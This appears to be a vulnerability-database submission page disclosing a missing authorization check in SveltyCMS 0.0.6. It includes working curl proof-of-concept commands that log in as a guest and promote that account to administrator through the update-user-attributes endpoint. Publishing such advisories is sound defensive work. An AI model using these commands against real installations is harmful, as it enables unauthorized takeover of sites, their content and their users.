| Titre | SveltyCMS 0.0.6 Improper Access Controls |
|---|
| Description | Summary
A missing authorization check in the user-attribute update endpoint allows any authenticated low-privileged user (including guests) to change their own role to administrator, gaining full control of the CMS.
Details
POST /api/auth/update-user-attributes is auto-permitted for any authenticated user by the API dispatcher (src/routes/api/[...path]/+server.ts) and writes whatever fields the caller supplies — including role and isAdmin. Users can call the API to assign administrator privileges to their own account.
PoC
Authenticate to the API as a guest user
curl -s -c /tmp/low.jar -H 'Content-Type: application/json'
-d '{"email":"lowprivilegeemail","password":"guestuserpassword"}'
http://127.0.0.1:5173/api/auth/login
Get your own user id
curl -s -b /tmp/low.jar http://127.0.0.1:5173/api/auth/me # copy "_id" into $LOW_ID
Promote yourself to admin
curl -s -b /tmp/low.jar -H 'Content-Type: application/json'
-H 'Origin: http://127.0.0.1:5173'
-d "{"user_id":"$LOW_ID","role":"admin","isAdmin":true}"
http://127.0.0.1:5173/api/auth/update-user-attributes
Log out and log back in to the UI to verify that your guest user is now an administrator.
Impact
Full account-to-admin takeover by any authenticated user with no interaction from an administrator. Complete compromise of content, users, and configuration. |
|---|
| La source | ⚠️ https://github.com/SveltyCMS/SveltyCMS/commit/05b4f9efeb79e9d72a693232334d7529687f896f |
|---|
| Utilisateur | HLever (UID 100450) |
|---|
| Soumission | 22/08/2026 00:15 (il y a 28 jours) |
|---|
| Modérer | 18/09/2026 10:26 (27 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 407421 [SveltyCMS 0.0.6 User Attribute Update Endpoint +server.ts élévation de privilèges] |
|---|
| Points | 20 |
|---|